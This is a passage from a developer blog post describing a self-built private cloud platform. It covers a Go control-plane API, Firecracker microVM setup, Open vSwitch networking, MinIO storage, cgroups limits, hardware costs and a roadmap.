    &lt;span class="n"&gt;ID&lt;/span&gt;     &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="s"&gt;`json:"id"`&lt;/span&gt;
    &lt;span class="n"&gt;Name&lt;/span&gt;   &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="s"&gt;`json:"name"`&lt;/span&gt;
    &lt;span class="n"&gt;Status&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="s"&gt;`json:"status"`&lt;/span&gt;
    &lt;span class="n"&gt;IP&lt;/span&gt;     &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="s"&gt;`json:"ip"`&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;CreateInstanceHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ResponseWriter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="n"&gt;CreateInstanceRequest&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewDecoder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Invalid request"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StatusBadRequest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;instance&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;Instance&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;     &lt;span class="n"&gt;uuid&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"provisioning"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c"&gt;// Write to etcd, enqueue for scheduler&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;scheduleInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Scheduling failed"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StatusInternalServerError&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WriteHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;StatusAccepted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewEncoder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key insight here: the API doesn't &lt;em&gt;do&lt;/em&gt; the work. It accepts the request, validates it, writes state to etcd, and hands off to the scheduler. Decoupling intent from execution is fundamental to cloud design.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 2: Compute — Containers vs. VMs
&lt;/h2&gt;

&lt;p&gt;When building a cloud compute layer, you face an early fork in the road:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Virtual Machines (KVM/QEMU)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Full isolation&lt;/li&gt;
&lt;li&gt;Heavier, slower to boot&lt;/li&gt;
&lt;li&gt;Best for untrusted multi-tenant workloads&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Containers (containerd / gVisor)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lightweight, fast&lt;/li&gt;
&lt;li&gt;Weaker isolation (though gVisor helps)&lt;/li&gt;
&lt;li&gt;Best for trusted workloads&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I chose a hybrid approach: containers for internal services, lightweight VMs (using &lt;a href="https://firecracker-microvm.github.io/" rel="noopener noreferrer"&gt;Firecracker&lt;/a&gt;) for tenant workloads. Firecracker was originally built by AWS for Lambda and Fargate. It boots a minimal Linux VM in under 125ms with a tiny memory footprint — perfect for a cloud that needs to be both fast and secure.&lt;/p&gt;

&lt;p&gt;Spinning up a Firecracker microVM looks like this in its simplest form:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Start Firecracker&lt;/span&gt;
firecracker &lt;span class="nt"&gt;--api-sock&lt;/span&gt; /tmp/firecracker.socket &amp;amp;

&lt;span class="c"&gt;# Set kernel&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; PUT &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--unix-socket&lt;/span&gt; /tmp/firecracker.socket &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'http://localhost/boot-source'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Accept: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "kernel_image_path": "/opt/kernels/vmlinux",
    "boot_args": "console=ttyS0 reboot=k panic=1 pci=off"
  }'&lt;/span&gt;

&lt;span class="c"&gt;# Set rootfs&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; PUT &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--unix-socket&lt;/span&gt; /tmp/firecracker.socket &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'http://localhost/drives/rootfs'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "drive_id": "rootfs",
    "path_on_host": "/opt/images/ubuntu-22.04.ext4",
    "is_root_device": true,
    "is_read_only": false
  }'&lt;/span&gt;

&lt;span class="c"&gt;# Start the VM&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; PUT &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--unix-socket&lt;/span&gt; /tmp/firecracker.socket &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'http://localhost/actions'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"action_type": "InstanceStart"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the foundation. From here, the scheduler automates this across a pool of physical hosts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 3: Software-Defined Networking
&lt;/h2&gt;

&lt;p&gt;Networking is where most DIY cloud projects die. It's also where things get genuinely fascinating.&lt;/p&gt;

&lt;p&gt;I'm using &lt;strong&gt;Open vSwitch (OVS)&lt;/strong&gt; combined with &lt;strong&gt;VXLAN tunnels&lt;/strong&gt; to create tenant-isolated virtual networks across physical hosts. Every tenant gets their own L2 broadcast domain, isolated from every other tenant — exactly like a VPC in AWS.&lt;/p&gt;

&lt;p&gt;Here's the mental model:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Host A                          Host B
┌──────────────────┐           ┌──────────────────┐
│  VM1   VM2       │           │  VM3   VM4        │
│  │      │        │           │   │     │          │
│  └──OVS Bridge──-│──VXLAN────│──OVS Bridge───┘   │
│  (tenant VLAN 10) │           │  (tenant VLAN 10) │
└──────────────────┘           └──────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;VMs on the same tenant network can talk to each other across hosts as if they're on the same switch, while being completely invisible to other tenants. This is software-defined networking doing real work.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 4: Object Storage
&lt;/h2&gt;

&lt;p&gt;Every cloud needs storage. Block storage (think EBS) is complex; I started with object storage (think S3) because the API surface is smaller and the consistency model is simpler.&lt;/p&gt;

&lt;p&gt;Rather than building from scratch, I deployed &lt;strong&gt;MinIO&lt;/strong&gt; in a distributed configuration across four nodes, giving me S3-compatible object storage with erasure coding for resilience:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# docker-compose.yml for distributed MinIO&lt;/span&gt;
&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3.7'&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;minio1&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;minio/minio&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;server http://minio{1...4}/data --console-address ":9001"&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;MINIO_ROOT_USER&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;admin&lt;/span&gt;
      &lt;span class="na"&gt;MINIO_ROOT_PASSWORD&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;supersecretpassword&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/data/minio1:/data&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;9000:9000"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;9001:9001"&lt;/span&gt;
  &lt;span class="na"&gt;minio2&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;minio/minio&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;server http://minio{1...4}/data&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/data/minio2:/data&lt;/span&gt;
  &lt;span class="c1"&gt;# ... minio3, minio4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this setup, I can lose two of the four nodes and still serve all objects. Good enough for v1.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Hardest Problems Nobody Warns You About
&lt;/h2&gt;

&lt;p&gt;Building this has taught me things no blog post prepared me for:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Time is your enemy
&lt;/h3&gt;

&lt;p&gt;Distributed systems require synchronized clocks. NTP drift of even a few hundred milliseconds can cause etcd leader elections to thrash, logs to be unreadable, and TLS certs to fail validation. Run &lt;strong&gt;Chrony&lt;/strong&gt; everywhere and monitor clock skew obsessively.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The control plane &lt;em&gt;must&lt;/em&gt; be HA
&lt;/h3&gt;

&lt;p&gt;I lost a Friday afternoon to a single control plane node failing. If the API is down, no VMs can be created, modified, or deleted — even if everything else is running fine. Run at least three control plane nodes behind a load balancer, always.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Noisy neighbors are real
&lt;/h3&gt;

&lt;p&gt;One VM doing aggressive disk I/O will hurt every other VM on that host. Implement &lt;strong&gt;cgroups v2&lt;/strong&gt; resource limits from day one, not as an afterthought:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Limit a cgroup to 50% CPU and 2GB RAM&lt;/span&gt;
cgcreate &lt;span class="nt"&gt;-g&lt;/span&gt; cpu,memory:/tenant-vm-abc123
cgset &lt;span class="nt"&gt;-r&lt;/span&gt; cpu.max&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"50000 100000"&lt;/span&gt; /tenant-vm-abc123
cgset &lt;span class="nt"&gt;-r&lt;/span&gt; memory.max&lt;span class="o"&gt;=&lt;/span&gt;2147483648 /tenant-vm-abc123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Observability is not optional
&lt;/h3&gt;

&lt;p&gt;You cannot fix what you cannot see. I run the &lt;strong&gt;Prometheus + Grafana + Loki&lt;/strong&gt; stack across the entire platform. Every VM host exports node metrics, every API call is traced with OpenTelemetry, and every log line lands in Loki. self-hosted observability stack setup was one of the best investments of time I made early on.&lt;/p&gt;




&lt;h2&gt;
  
  
  What It Costs (Honestly)
&lt;/h2&gt;

&lt;p&gt;Here's my current hardware spend for a modest but real platform:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Hardware&lt;/th&gt;
&lt;th&gt;Cost&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Compute nodes&lt;/td&gt;
&lt;td&gt;4× refurbished Dell R640, 32 cores / 256GB RAM each&lt;/td&gt;
&lt;td&gt;~$4,800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Storage nodes&lt;/td&gt;
&lt;td&gt;4× machines with 12TB raw NVMe each&lt;/td&gt;
&lt;td&gt;~$3,200&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Networking&lt;/td&gt;
&lt;td&gt;2× 10GbE switches, SFP+ cabling&lt;/td&gt;
&lt;td&gt;~$800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Control plane&lt;/td&gt;
&lt;td&gt;3× small VMs on separate hardware&lt;/td&gt;
&lt;td&gt;~$200&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;~$9,000&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That sounds like a lot. But consider: running equivalent workloads on AWS (say, 8× &lt;code&gt;m6i.8xlarge&lt;/code&gt; reserved instances + storage) would cost roughly &lt;strong&gt;$4,200 per month&lt;/strong&gt;. This hardware pays for itself in under three months at that utilization level.&lt;/p&gt;

&lt;p&gt;If you want to explore cloud cost optimization tools before committing to your own hardware, there are excellent options for right-sizing your existing cloud spend first.&lt;/p&gt;




&lt;h2&gt;
  
  
  Tools I'm Using (The Stack)
&lt;/h2&gt;

&lt;p&gt;Here's the full current toolchain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Compute:&lt;/strong&gt; Firecracker microVMs, orchestrated by a custom Go scheduler&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Networking:&lt;/strong&gt; Open vSwitch + VXLAN&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Storage:&lt;/strong&gt; MinIO (object), LVM thin pools (block)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Control Plane:&lt;/strong&gt; Go API + etcd v3&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auth:&lt;/strong&gt; Keycloak (OIDC)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Observability:&lt;/strong&gt; Prometheus, Grafana, Loki, OpenTelemetry&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IaC:&lt;/strong&gt; Terraform for bootstrapping, Ansible for configuration&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DNS:&lt;/strong&gt; CoreDNS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're starting this journey, infrastructure as code learning resources will save you enormous amounts of time when managing configuration at scale.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;The roadmap for the next three months:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] &lt;strong&gt;Kubernetes integration&lt;/strong&gt; — allow tenants to request managed K8s clusters&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Live VM migration&lt;/strong&gt; — move running VMs between hosts without downtime&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Billing engine&lt;/strong&gt; — track resource consumption per tenant and generate invoices&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Self-service portal&lt;/strong&gt; — a UI so not everything requires API calls&lt;/li&gt;
&lt;li&gt;[ ] &lt;strong&gt;Multi-region&lt;/strong&gt; — replicate the control plane across two physical locations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Building a cloud is not a project — it's a practice. The architecture evolves, failures teach you things no documentation can, and the satisfaction of watching a VM boot on hardware &lt;em&gt;you own and control&lt;/em&gt; never really gets old.&lt;/p&gt;




&lt;h2&gt;
  
  
  Should You Build One Too?
&lt;/h2&gt;

&lt;p&gt;Maybe. Here's the honest truth:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You should build a cloud if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You have consistent, predictable workloads at meaningful scale&lt;/li&gt;
&lt;li&gt;You have the engineering depth to operate distributed systems&lt;/li&gt;
&lt;li&gt;Data sovereignty or compliance requirements demand it&lt;/li&gt;
&lt;li&gt;You want to understand infrastructure at a deep level&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;You should not build a cloud if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your workloads are spiky and unpredictable&lt;/li&gt;
&lt;li&gt;You have a small team and no dedicated ops capacity&lt;/li&gt;
&lt;li&gt;You're early stage and should be building product, not platforms&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The act of &lt;em&gt;attempting&lt;/em&gt; to build a cloud — even partially — will make you a dramatically better infrastructure engineer. You'll understand why AWS charges what it charges, why certain architectural patterns exist, and why distributed systems are genuinely hard.&lt;/p&gt;

&lt;p&gt;That knowledge is worth something, even if you end up back on EC2.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you're on a similar journey — building, experimenting, or just curious — I'd love to compare notes. Follow me here on DEV for updates as this build progresses, and drop your questions or war stories in the comments below.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Next article: how I implemented live VM migration using QEMU's postcopy mode. Subscribe so you don't miss it.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cloud</category>
      <category>devops</category>
      <category>infrastructure</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
